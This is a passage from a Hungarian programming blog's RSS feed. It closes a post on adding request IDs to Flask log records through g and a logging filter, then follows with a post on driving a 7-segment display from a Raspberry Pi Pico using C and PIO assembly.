        self.__logger = logger

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">info</span><span class="hljs-params">(self, message)</span>:</span>
        self.__logger.info(message, extra=request.context)

<span class="hljs-ignore">def add_request_id(logger):</span>
<span class="hljs-ignore">    def decorator(f):</span>
<span class="hljs-ignore">        @wraps(f)</span>
<span class="hljs-ignore">        def decorated_function(self):</span>
<span class="hljs-ignore">            request_id = uuid.uuid4()</span>
            request.add_context(<span class="hljs-string">'request_id'</span>, request_id)

<span class="hljs-ignore">            logger.info(f'hello from middleware ({request_id})')</span>
<span class="hljs-ignore">            return f(self, request_id)</span>
<span class="hljs-ignore">        return decorated_function</span>
<span class="hljs-ignore">    return decorator</span>

<span class="hljs-ignore">class HelloView(MethodView):</span>
    logger = RequestContextLogger(logging.getLogger(<span class="hljs-string">'view.hello'</span>))

<span class="hljs-ignore">    @add_request_id(logger)</span>
<span class="hljs-ignore">    def get(self, request_id):</span>
<span class="hljs-ignore">        time.sleep(0.01)</span>
<span class="hljs-ignore">        self.logger.info(f'hello from view ({request_id})')</span>
<span class="hljs-ignore">        return 'Hello World\n'</span>

app = MyFlask(__name__)
<span class="hljs-ignore">app.add_url_rule('/', view_func=HelloView.as_view('hello'))</span>

<span class="hljs-ignore">if __name__ == '__main__':</span>
<span class="hljs-ignore">    app.run()</span>
</code></pre>
<p>A próbálkozásaim során sikerült még egyszer ugyanúgy lábon lőni magam, mint a <code>logger</code> esetében. Az első változatban a <code>__context</code> nem az <code>__init__</code>-ben kapott értéket, így mindenki ugyanazt a <code>dict</code>-et használta, ami miatt úgy tűnt, hogy nem lesz működőképes ez a megoldás. Nem tanultam elég gyorsan a hibáimból.</p>
<p>Egy kis kutakodás után rájöhetünk, hogy nem csak nekünk jutott eszünkbe, hogy a <code>request</code>-hez extra adatokat hozzáadni kívánatos dolog lehet, így lecserélhetjük a házibarkács megoldásunkat a Flask <a href="https://flask.palletsprojects.com/en/2.2.x/appcontext/#storing-data"><code>g</code> változójára</a>, amivel megszabadulhatunk egy jó adag kódtól.</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GContextLogger</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self, logger)</span>:</span>
        self.__logger = logger

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">info</span><span class="hljs-params">(self, message)</span>:</span>
        self.__logger.info(message, extra=g.log_context)

<span class="hljs-ignore">def add_request_id(logger):</span>
<span class="hljs-ignore">    def decorator(f):</span>
<span class="hljs-ignore">        @wraps(f)</span>
<span class="hljs-ignore">        def decorated_function(self):</span>
<span class="hljs-ignore">            request_id = uuid.uuid4()</span>
            g.log_context = {<span class="hljs-string">'request_id'</span>: request_id}

<span class="hljs-ignore">            logger.info(f'hello from middleware ({request_id})')</span>
<span class="hljs-ignore">            return f(self, request_id)</span>
<span class="hljs-ignore">        return decorated_function</span>
<span class="hljs-ignore">    return decorator</span>

<span class="hljs-ignore">class HelloView(MethodView):</span>
    logger = GContextLogger(logging.getLogger(<span class="hljs-string">'view.hello'</span>))

<span class="hljs-ignore">    @add_request_id(logger)</span>
<span class="hljs-ignore">    def get(self, request_id):</span>
<span class="hljs-ignore">        time.sleep(0.01)</span>
<span class="hljs-ignore">        self.logger.info(f'hello from view ({request_id})')</span>
<span class="hljs-ignore">        return 'Hello World\n'</span>
</code></pre>
<p>Egy fokkal jobb, de még mindig nem az igazi. Mi történik például olyankor, ha a view dob egy kivételt és azt egy Flask-es error handler lekezeli, ami mellékesen logol is egyet? Rajta lesz az extra adat? És egy általunk használt külső modul logjain?</p>
<h3>A &quot;végleges&quot; megoldás</h3>
<p>Már amennyire bármi végleges lehet. Talán inkább az &quot;éppen aktuális legjobb tudásunk szerinti megoldás, ami megfelel a jelenlegi követelményeknek&quot; lenne a jó kifejezés. Először is szabaduljunk meg a <code>GContextLogger</code> osztálytól, hogy ne kelljen minden log példányosításunkat becsomagolnunk valamibe. Ehhez használhatunk <a href="https://docs.python.org/3/howto/logging-cookbook.html#using-filters-to-impart-contextual-information">Python-os log filtert</a>, amit ugyan a logok szűrésére találtak ki, de gyakran használják ilyen esetekben is.</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LogContextFilter</span><span class="hljs-params">(Filter)</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">filter</span><span class="hljs-params">(self, record)</span>:</span>
        <span class="hljs-keyword">if</span> has_request_context() <span class="hljs-keyword">and</span> hasattr(g, <span class="hljs-string">'log_context'</span>):
            <span class="hljs-keyword">for</span> k, v <span class="hljs-keyword">in</span> g.log_context.items():
                setattr(record, k, v)

        <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
</code></pre>
<p>Itt már egy kicsit óvatosabbak vagyunk a <code>g.log_context</code> elérésével. Csak akkor próbáljuk kiszedni belőle az adatokat, ha épp Flask-es kérést dolgozunk fel és már van benne <code>log_context</code>.</p>
<p>Megszabadulhatunk a <code>logger</code> példányosítástól is, használhatjuk helyette a <a href="https://flask.palletsprojects.com/en/2.2.x/logging/">Flask által felkonfigurált <code>app.logger</code>-t</a>. Egyetlen hátránya, hogy így kézzel kell ráraknunk a logokra a view nevét (ha erre tényleg szükségünk van), mert a <code>name</code> mezőben az <code>app.name</code> értéke lesz.</p>
<pre><code class="hljs python"><span class="hljs-ignore">def add_request_id():</span>
<span class="hljs-ignore">    def decorator(f):</span>
<span class="hljs-ignore">        @wraps(f)</span>
<span class="hljs-ignore">        def decorated_function(self):</span>
<span class="hljs-ignore">            request_id = uuid.uuid4()</span>
            g.log_context = {
                <span class="hljs-string">'request_id'</span>: request_id,
                <span class="hljs-string">'view'</span>: self.__class__.__name__,
            }

            app.logger.info(<span class="hljs-string">f'hello from middleware (<span class="hljs-subst">{request_id}</span>)'</span>)
<span class="hljs-ignore">            return f(self, request_id)</span>
<span class="hljs-ignore">        return decorated_function</span>
<span class="hljs-ignore">    return decorator</span>

<span class="hljs-ignore">class HelloView(MethodView):</span>
<span class="hljs-ignore">    @add_request_id()</span>
<span class="hljs-ignore">    def get(self, request_id):</span>
<span class="hljs-ignore">        time.sleep(0.01)</span>
        app.logger.info(<span class="hljs-string">f'hello from view (<span class="hljs-subst">{request_id}</span>)'</span>)
<span class="hljs-ignore">        return 'Hello World\n'</span>
</code></pre>
<pre><code class="hljs json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"test"</span>,
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from middleware (7575ef53-8764-4d17-967b-af2902691ac4)"</span>,
  <span class="hljs-attr">"request_id"</span>: <span class="hljs-string">"7575ef53-8764-4d17-967b-af2902691ac4"</span>,
  <span class="hljs-attr">"view"</span>: <span class="hljs-string">"HelloView"</span>
}
{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"test"</span>,
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from view (7575ef53-8764-4d17-967b-af2902691ac4)"</span>,
  <span class="hljs-attr">"request_id"</span>: <span class="hljs-string">"7575ef53-8764-4d17-967b-af2902691ac4"</span>,
  <span class="hljs-attr">"view"</span>: <span class="hljs-string">"HelloView"</span>
}
</code></pre>
<p>Végül megszabadulhatunk az <code>add_request_id</code> middleware-től is. Mivel jó eséllyel ezt minden kérésnél meg szeretnénk csinálni, lecserélhetjük egy globális megoldásra.</p>
<pre><code class="hljs python"><span class="hljs-ignore">class HelloView(MethodView):</span>
<span class="hljs-ignore">    def get(self):</span>
        g.log_context[<span class="hljs-string">'view'</span>] = self.__class__.__name__

<span class="hljs-ignore">        app.logger.info(f'hello from view')</span>
<span class="hljs-ignore">        return 'Hello World\n'</span>

<span class="hljs-ignore">app = Flask(__name__)</span>
<span class="hljs-ignore">app.add_url_rule('/', view_func=HelloView.as_view('hello'))</span>

<span class="hljs-meta">@app.before_request</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">init_logging_context</span><span class="hljs-params">()</span>:</span>
    g.log_context = {
        <span class="hljs-string">'request_id'</span>: uuid.uuid4(),
        <span class="hljs-string">'ip'</span>: request.remote_addr,
    }
</code></pre>
<p>Egy hátránya ennek a megoldásnak, hogy a <code>before_request</code>-nél nem tudjuk még milyen view fog futni, így nem is tudjuk belerakni a nevét a <code>log_context</code>-be.</p>
<p>Ezzel el is érkeztünk az éppen aktuális végleges megoldásunkhoz. Az egyes fázisokat teljes terjedelmükben meg lehet tekinteni a <a href="https://github.com/deadlime/flask-logging-experiments">kapcsolódó Github repository-ban</a>. További szép logolást.</p>

]]></content:encoded>
        </item>
            <item>
            <title>A legkisebb Pi</title>
            <link>https://deadlime.hu/2022/10/21/a-legkisebb-pi/</link>
            <pubDate>Fri, 21 Oct 2022 12:59:00 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">370403473f34c012984549e1255bae92</guid>
            <description>7-szegmensű kijelző vezérlése Raspberry Pi Pico segítségével</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2022/pico.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Lassan két éve annak, hogy megjelent a Raspberry Pi Pico. Azóta már kijött a W jelzésű, Wi-Fi képes model is. Természetesen meg is rendeltem mindkettőt, de elég lassan jutottam el odáig, hogy valamit csináljak is velük. De ez a nap is eljött végre.</p>
<p>Egy négy karakteres 7-szegmensű kijelzőt fogunk vele meghajtani, méghozzá a PIO (programmable IO) segítségével, amik kis állapotgépek a Pico-n belül és assembly nyelven lehet rájuk programokat írni.</p>
<h3>Előkészületek</h3>
<p>A Raspberry Pi oldalán <a href="https://www.raspberrypi.com/documentation/microcontrollers/raspberry-pi-pico.html#raspberry-pi-pico">egész jó leírások vannak</a>, hogy hogyan lehet fejlesztői környezeteket összerakni, úgyhogy erről most nem ejtenék túl sok szót.</p>
<p>Alapból nem túl fejlesztő barát a folyamat: lebuild-eled a programod, kihúzod az USB kábelt a Pico-ból, nyomva tartod a Pico-n lévő gombot, visszadugod az USB kábelt, a megjelenő háttértárra áthúzod a lebuild-elt U2F fájlt és már kész is vagyunk. Hogy is mondjam, egy kicsit megöli a hangulatot. Szerencsére vannak alternatív megoldások.</p>
<p>Én végül a Picoprobe + CLion irányba mentem, így az IDE-n belül egy gombnyomással lehet az új kódot a Pico-ra küldeni. Először Windows-on kezdtem el beállítani a dolgokat, de feladtam valahol a &quot;build-eljünk OpenOCD-t MSYS2-vel&quot; résznél és átnyargaltam Linuxra. Majd egyszer lehet újra nekifutok még WSL2-vel, ha valami kihívásra vágyok. Az összelövéshez a hivatalos dokumentáción kívül még <a href="https://twitter.com/savage_drummer/status/1376495816353796099">ez a tweet</a> is sokat segített.</p>
<h3>A kijelző</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2022/7segment.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Teljes nevén az <a href="https://www.hestore.hu/prod_10042385.html">SH5463AW-14</a></p>

<p>A kijelzőn 14 csatlakozási pont található, ezzel kellene valahogy működésre bírnunk azt a 33 szegmenst (a középső <code>:</code> egy szegmensnek számít), ami a karaktereket és a hozzájuk tartozó extra pontokat alkotják. Érezhető, hogy van itt valami huncutság, ami pedig nem más, mint hogy egyszerre mindig csak egy karaktert tudunk megjeleníteni a kijelzőn, de ha elég gyorsan váltogatjuk az éppen megjelenített karaktert, akkor a béna emberi szem számára úgy fog tűnni, mintha mind a négy világítana.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2022/7segment_diagram.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Ahhoz, hogy a megfelelő szegmens világítson, az alsó sorban szereplő pin-t 1-esre, a felső sorban szereplő COM pin-t pedig 0-ra kell állítanunk. Ha több helyen is ugyanazt a karaktert kell megjeleníteni, akkor több COM pin-t is 0-ra állíthatunk, de lehet nem éri meg ezzel vesződni a valóságban.</p>
<p>Nézzünk is meg egy - nem annyira - rövid példát. Mondjuk szeretnénk azt megjeleníteni, hogy <code>12:34</code>:</p>
<ol>
<li>a <code>9</code>-es és <code>4</code>-es pin-eket 1-esre állítjuk, a <code>14</code>-est 0-ra</li>
<li>várunk egy picit</li>
<li>a <code>13</code>, <code>9</code>, <code>2</code>, <code>1</code>, <code>5</code> pin-eket 1-esre állítjuk, a <code>11</code>-est 0-ra</li>
<li>várunk egy picit</li>
<li>a <code>8</code>-as pin-t 1-esre állítjuk, a <code>7</code>-est 0-ra</li>
<li>várunk egy picit</li>
<li>a <code>13</code>, <code>9</code>, <code>4</code>, <code>2</code>, <code>5</code> pin-eket 1-esre állítjuk, a <code>10</code>-est 0-ra</li>
<li>várunk egy picit</li>
<li>a <code>9</code>, <code>4</code>, <code>12</code>, <code>5</code> pin-eket 1-esre állítjuk, a <code>6</code>-ost 0-ra</li>
<li>várunk egy picit</li>
<li>ugrás az első pontra</li>
</ol>
<p>Ha nem ugranánk a végén rögtön vissza az elejére és csinálnánk ezt az idők végezetéig, akkor egy pillanatra látnánk csak felvillanni az értéket a kijelzőn.</p>
<h3>Első próbálkozás</h3>
<p>Legelőször tulajdonképpen a fent leírt folyamatot szerettem volna C kóddá változtatni. Ezzel letesztelem, hogy tényleg jól értelmeztem-e a kijelző adatlapját, a Pico SDK dokumentációját és jól is kötöttem össze a komponenseket egymással. A PIO ezen a ponton még csak felesleges bonyolítás lenne. A teljes kód megtekinthető <a href="https://github.com/deadlime/pico-7-segment-display/tree/main/1_c-only">Github</a>-on.</p>
<p>Kezdjük egy kis konfigurációval:</p>
<pre class="file"><code>c_only.c
</code></pre>
<pre><code class="hljs arduino"><span class="hljs-keyword">const</span> uint pin_map_display_to_pico[] = {
  <span class="hljs-number">0</span>,
  <span class="hljs-number">16</span>, <span class="hljs-number">17</span>, <span class="hljs-number">18</span>, <span class="hljs-number">19</span>, <span class="hljs-number">20</span>, <span class="hljs-number">21</span>, <span class="hljs-number">22</span>,
  <span class="hljs-number">9</span>, <span class="hljs-number">10</span>, <span class="hljs-number">11</span>, <span class="hljs-number">12</span>, <span class="hljs-number">13</span>, <span class="hljs-number">14</span>, <span class="hljs-number">15</span>,
};

<span class="hljs-keyword">const</span> uint A  = pin_map_display_to_pico[<span class="hljs-number">13</span>];
<span class="hljs-keyword">const</span> uint B  = pin_map_display_to_pico[<span class="hljs-number">9</span>];
<span class="hljs-keyword">const</span> uint C  = pin_map_display_to_pico[<span class="hljs-number">4</span>];
<span class="hljs-keyword">const</span> uint D  = pin_map_display_to_pico[<span class="hljs-number">2</span>];
<span class="hljs-keyword">const</span> uint E  = pin_map_display_to_pico[<span class="hljs-number">1</span>];
<span class="hljs-keyword">const</span> uint F  = pin_map_display_to_pico[<span class="hljs-number">12</span>];
<span class="hljs-keyword">const</span> uint G  = pin_map_display_to_pico[<span class="hljs-number">5</span>];
<span class="hljs-keyword">const</span> uint DP = pin_map_display_to_pico[<span class="hljs-number">3</span>];
<span class="hljs-keyword">const</span> uint D5 = pin_map_display_to_pico[<span class="hljs-number">8</span>];

<span class="hljs-keyword">const</span> uint COM_1    = pin_map_display_to_pico[<span class="hljs-number">14</span>];
<span class="hljs-keyword">const</span> uint COM_2    = pin_map_display_to_pico[<span class="hljs-number">11</span>];
<span class="hljs-keyword">const</span> uint COM_3    = pin_map_display_to_pico[<span class="hljs-number">10</span>];
<span class="hljs-keyword">const</span> uint COM_4    = pin_map_display_to_pico[<span class="hljs-number">6</span>];
<span class="hljs-keyword">const</span> uint COM_DOTS = pin_map_display_to_pico[<span class="hljs-number">7</span>];
</code></pre>
<p>A <code>D6</code>-ot lehagytam, mert ugyanaz, mint a <code>D5</code>. A <code>pin_map_display_to_pico</code> tartalmazza, hogy melyik kijelző pin melyik Pico pin-nek felel meg (a nulla nincs értelmezve). A Pico-n a 9-22 pin-eket használtam.</p>
<pre class="file"><code>c_only.c
</code></pre>
<pre><code class="hljs arduino">stdio_init_all();
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">1</span>; i &lt; <span class="hljs-keyword">sizeof</span>(pin_map) / <span class="hljs-keyword">sizeof</span>(pin_map[<span class="hljs-number">0</span>]); ++i) {
    gpio_init(pin_map[i]);
    gpio_set_dir(pin_map[i], GPIO_OUT);
}
</code></pre>
<p>Még egy kis inicializálás a lényeg előtt. Minden használt pin-t kimeneti módba állítunk. Ezek után nincs más hátra, mint egy jó hosszú végtelen ciklus, ami majdnem azt csinálja, amit fentebb már átvettünk:</p>
<pre class="file"><code>c_only.c
</code></pre>
<pre><code class="hljs arduino"><span class="hljs-comment">// a kettőspont kiválasztása és megjelenítése</span>
gpio_put(COM_DOTS, <span class="hljs-number">0</span>);
gpio_put(D5, <span class="hljs-number">1</span>);

<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  <span class="hljs-comment">// az első karakter hely kiválasztása</span>
  gpio_put(COM_1, <span class="hljs-number">0</span>);
  gpio_put(COM_2, <span class="hljs-number">1</span>);
  gpio_put(COM_3, <span class="hljs-number">1</span>);
  gpio_put(COM_4, <span class="hljs-number">1</span>);

  <span class="hljs-comment">// az 1-es megjelenítése</span>
  gpio_put(A, <span class="hljs-number">0</span>);
  gpio_put(B, <span class="hljs-number">1</span>);
  gpio_put(C, <span class="hljs-number">1</span>);
  gpio_put(D, <span class="hljs-number">0</span>);
  gpio_put(E, <span class="hljs-number">0</span>);
  gpio_put(F, <span class="hljs-number">0</span>);
  gpio_put(G, <span class="hljs-number">0</span>);
  gpio_put(DP, <span class="hljs-number">0</span>);

  <span class="hljs-comment">// várunk egy picit</span>
  sleep_ms(<span class="hljs-number">2</span>);

  <span class="hljs-comment">// a második karakter hely kiválasztása</span>
  gpio_put(COM_1, <span class="hljs-number">1</span>);
  gpio_put(COM_2, <span class="hljs-number">0</span>);
  gpio_put(COM_3, <span class="hljs-number">1</span>);
  gpio_put(COM_4, <span class="hljs-number">1</span>);

  <span class="hljs-comment">// a 2-es megjelenítése</span>
  gpio_put(A, <span class="hljs-number">1</span>);
  gpio_put(B, <span class="hljs-number">1</span>);
  gpio_put(C, <span class="hljs-number">0</span>);
  gpio_put(D, <span class="hljs-number">1</span>);
  gpio_put(E, <span class="hljs-number">1</span>);
  gpio_put(F, <span class="hljs-number">0</span>);
  gpio_put(G, <span class="hljs-number">1</span>);
  gpio_put(DP, <span class="hljs-number">0</span>);

  <span class="hljs-comment">// várunk egy picit</span>
  sleep_ms(<span class="hljs-number">2</span>);

  <span class="hljs-comment">// a harmadik karakter hely kiválasztása</span>
  gpio_put(COM_1, <span class="hljs-number">1</span>);
  gpio_put(COM_2, <span class="hljs-number">1</span>);
  gpio_put(COM_3, <span class="hljs-number">0</span>);
  gpio_put(COM_4, <span class="hljs-number">1</span>);

  <span class="hljs-comment">// a 3-as megjelenítése</span>
  gpio_put(A, <span class="hljs-number">1</span>);
  gpio_put(B, <span class="hljs-number">1</span>);
  gpio_put(C, <span class="hljs-number">1</span>);
  gpio_put(D, <span class="hljs-number">1</span>);
  gpio_put(E, <span class="hljs-number">0</span>);
  gpio_put(F, <span class="hljs-number">0</span>);
  gpio_put(G, <span class="hljs-number">1</span>);
  gpio_put(DP, <span class="hljs-number">0</span>);

  <span class="hljs-comment">// várunk egy picit</span>
  sleep_ms(<span class="hljs-number">2</span>);

  <span class="hljs-comment">// a negyedik karakter hely kiválasztása</span>
  gpio_put(COM_1, <span class="hljs-number">1</span>);
  gpio_put(COM_2, <span class="hljs-number">1</span>);
  gpio_put(COM_3, <span class="hljs-number">1</span>);
  gpio_put(COM_4, <span class="hljs-number">0</span>);

  <span class="hljs-comment">// a 4-es megjelenítése</span>
  gpio_put(A, <span class="hljs-number">0</span>);
  gpio_put(B, <span class="hljs-number">1</span>);
  gpio_put(C, <span class="hljs-number">1</span>);
  gpio_put(D, <span class="hljs-number">0</span>);
  gpio_put(E, <span class="hljs-number">0</span>);
  gpio_put(F, <span class="hljs-number">1</span>);
  gpio_put(G, <span class="hljs-number">1</span>);
  gpio_put(DP, <span class="hljs-number">0</span>);

  <span class="hljs-comment">// várunk egy picit</span>
  sleep_ms(<span class="hljs-number">2</span>);
}
</code></pre>
<p>A különbség annyi, hogy mivel a kettőspont nem függ semelyik másik karaktertől (nem osztozik velük egyetlen pin-ben sem), így külön bekapcsolhatjuk a legelején és utána már nem kell vele foglalkozni. Érdemes megfigyelni, hogy ilyenkor a <code>:</code> egy kicsit erősebben világít, mint a számok.</p>
<h3>Egy kis PIO</h3>
<p>Elsőre itt is valami viszonylag egyszerűvel kezdünk, csak hogy lássuk, minden megfelelően működik. A teljes kód szintén fent van <a href="https://github.com/deadlime/pico-7-segment-display/tree/main/2_basic-pio">Github</a>-on.</p>
<pre class="file"><code>basic_pio.pio
</code></pre>
<pre><code class="hljs armasm"><span class="hljs-symbol">.program</span> <span class="hljs-keyword">basic_pio
</span>
<span class="hljs-symbol">.define</span> PUBLIC pin_count <span class="hljs-number">14</span>
<span class="hljs-symbol">
loop:</span>
  pull
  out pins, pin_count
  jmp loop
</code></pre>
<p>A <code>pull</code> behúzza a C kódból küldött 32 bit adatot (és blokkolja a futást addig, amíg nem érkezett adat), az <code>out</code> pedig ebből 14 bitet kiír az általunk meghatározott pin-ekre (a maradék felülíródik a következő <code>pull</code>-nál), majd kezdődik az egész elölről. A publikusan definiált <code>pin_count</code>-ot a C kódból is elérhetjük majd <code>basic_pio_pin_count</code> néven.</p>
<p>Hogy hol határoztuk meg ezeket a pin-eket? A pio fájlnak van még egy kis C-ben írt része is, ami az egész programot beállítja (nem mondom, hogy szimpatikus ez a nyelv vegyítés fájlon belül és a CLion-nak sem tetszik különösebben, de hát ez van):</p>
<pre class="file"><code>basic_pio.pio
</code></pre>
<pre><code class="hljs arduino">% c-sdk {
<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">inline</span> <span class="hljs-keyword">void</span> <span class="hljs-title">basic_pio_program_init</span><span class="hljs-params">(PIO pio, uint sm, uint offset, uint pin)</span> </span>{
  pio_sm_config <span class="hljs-built_in">config</span> = basic_pio_program_get_default_config(offset);

  sm_config_set_out_pins(&amp;<span class="hljs-built_in">config</span>, pin, basic_pio_pin_count);

  <span class="hljs-keyword">for</span> (uint i = <span class="hljs-number">0</span>; i &lt; basic_pio_pin_count; ++i) {
    pio_gpio_init(pio, pin + i);
  }
  pio_sm_set_consecutive_pindirs(pio, sm, pin, basic_pio_pin_count, <span class="hljs-literal">true</span>);

  pio_sm_init(pio, sm, offset, &amp;<span class="hljs-built_in">config</span>);
  pio_sm_set_enabled(pio, sm, <span class="hljs-literal">true</span>);
}
%}
</code></pre>
<p>Következhet a C kód, amiből használni fogjuk ezt a PIO programot. A programnak 32 bit adatot fogunk küldeni, amiből valójában csak 14 bit lesz hasznos, ez a 14 bit határozza meg a 14 pin állapotát. Jobbról az első bit a 9-es pin-nek felel meg, az utolsó pedig a 22-es pin-nek.</p>
<pre><code class="hljs arduino"><span class="hljs-comment">//                             pin 9</span>
<span class="hljs-comment">//                                 v</span>
uint example_data = <span class="hljs-number">0b00010000000010</span>;
<span class="hljs-comment">//                    ^</span>
<span class="hljs-comment">//                    pin 22</span>
</code></pre>
<p>Definiálhatunk néhány segéd konstanst, hogy könnyebb dolgunk legyen a számok megadásánál. A COM-ok megadása kicsit furcsa, mivel az összes többit kell egyesre állítani, nem azt, amelyiken megjeleníteni szeretnénk.</p>
<pre class="file"><code>basic_pio.c
</code></pre>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> START_PIN 9</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> A  1 &lt;&lt; (14 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> B  1 &lt;&lt; (10 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> C  1 &lt;&lt; (19 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> D  1 &lt;&lt; (17 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> E  1 &lt;&lt; (16 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> F  1 &lt;&lt; (13 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> G  1 &lt;&lt; (20 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DP 1 &lt;&lt; (18 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> D5 1 &lt;&lt; (9 - START_PIN)</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> COM_1    1 &lt;&lt; (15 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> COM_2    1 &lt;&lt; (12 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> COM_3    1 &lt;&lt; (11 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> COM_4    1 &lt;&lt; (21 - START_PIN)</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> COM_DOTS 1 &lt;&lt; (22 - START_PIN)</span>

<span class="hljs-keyword">const</span> uint one   = B|C|D5;
<span class="hljs-keyword">const</span> uint two   = A|B|D|E|G;
<span class="hljs-keyword">const</span> uint three = A|B|C|D|G;
<span class="hljs-keyword">const</span> uint four  = B|C|F|G|DP;

<span class="hljs-keyword">const</span> uint com_1 = COM_2|COM_3|COM_4;
<span class="hljs-keyword">const</span> uint com_2 = COM_1|COM_3|COM_4|COM_DOTS;
<span class="hljs-keyword">const</span> uint com_3 = COM_1|COM_2|COM_4|COM_DOTS;
<span class="hljs-keyword">const</span> uint com_4 = COM_1|COM_2|COM_3|COM_DOTS;
</code></pre>
<p>A <code>:</code> bekapcsolása trükkös módon a <code>one</code> változóba van elrejtve, így már az a probléma sem áll fenn, hogy erősebben világítana, mint a többi.</p>
<p>Ahhoz, hogy használni tudjuk a PIO programot, be kell húznunk a CMake által generált header fájlt, ami esetemben egy <code>#include &quot;basic_pio.pio.h&quot;</code> sor volt a C fájl tetején. Majd kezdődhet a program beállítása.</p>
<pre class="file"><code>basic_pio.c
</code></pre>
<pre><code class="hljs arduino"><span class="hljs-keyword">const</span> PIO pio = pio0;

<span class="hljs-keyword">const</span> uint offset = pio_add_program(pio, &amp;basic_pio_program);
<span class="hljs-keyword">const</span> uint sm = pio_claim_unused_sm(pio, <span class="hljs-literal">true</span>);

basic_pio_program_init(pio, sm, offset, START_PIN);
</code></pre>
<p>Hozzáadjuk a programot, szerzünk egy használaton kívüli állapotgépet és felkonfiguráljuk.</p>
<p>Ezután már csak a megjelenítés marad. Kicsit rövidebb, mint a tisztán C változat, de lényegében ugyanazt csinálja.</p>
<pre class="file"><code>basic_pio.c
</code></pre>
<pre><code class="hljs arduino"><span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  pio_sm_put(pio, sm, com_1|one);
  sleep_ms(<span class="hljs-number">2</span>);
  pio_sm_put(pio, sm, com_2|two);
  sleep_ms(<span class="hljs-number">2</span>);
  pio_sm_put(pio, sm, com_3|three);
  sleep_ms(<span class="hljs-number">2</span>);
  pio_sm_put(pio, sm, com_4|four);
  sleep_ms(<span class="hljs-number">2</span>);
}
</code></pre>
<h3>A végeredmény</h3>
<p>Az előző példában a megjelenítés időzítését továbbra is a C kód intézte, ami nem annyira szerencsés, ha valami mást is szeretnénk csinálni a kódban, nem csak ezzel a kijelzővel foglalkozni. Jó lenne egy olyan megoldás, hogy a PIO-nak átadjuk a  adatokat, ő pedig megoldja a megjelenítéssel járó minden gondot és bajt.</p>
<p>Négyszer 14 bitnyi adatról van szó, úgyhogy nem férünk bele egy 32 bites változóba. Szerencsére az állapotgépnek két regisztere is van, amit használhatunk (<code>x</code> és <code>y</code>), úgyhogy kétszer 28 bitnyi adatként átküldhetjük neki a kijelző tartalmát. A PIO program feladata csak annyi lenne, hogy eltárolja ezt az adatot a két regiszterben és kiküldje őket 14 bites egységekben a GPIO pin-ekre, megfelelő ütemezésben.</p>
<pre class="file"><code>advanced_pio.pio
</code></pre>
<pre><code class="hljs armasm"><span class="hljs-symbol">.program</span> advanced_pio

<span class="hljs-symbol">.define</span> PUBLIC pin_count <span class="hljs-number">14</span>

<span class="hljs-symbol">.wrap_target</span>
  <span class="hljs-keyword">mov </span>isr, x
  <span class="hljs-keyword">mov </span>x, y
  <span class="hljs-keyword">mov </span>y, isr

  pull noblock
  <span class="hljs-keyword">mov </span>x, osr

  out pins, pin_count [<span class="hljs-number">5</span>]
  out pins, pin_count
<span class="hljs-symbol">.wrap</span>
</code></pre>
<p>A <code>.wrap_target</code>/<code>.wrap</code> olyan, mint egy <code>loop:</code>/<code>jmp loop</code> az egész körül, de nem kerül extra utasításba.</p>
<p>Az első blokkban megcseréljük az <code>x</code> és az <code>y</code> regiszterben lévő értékeket, ehhez az <code>isr</code>-t (Input Shift Register) használjuk köztes tárnak, ami nem probléma, mert egyébként nincs használatban (a GPIO felől jövő adatok lennének benne, ha a pinek input módban lennének).</p>
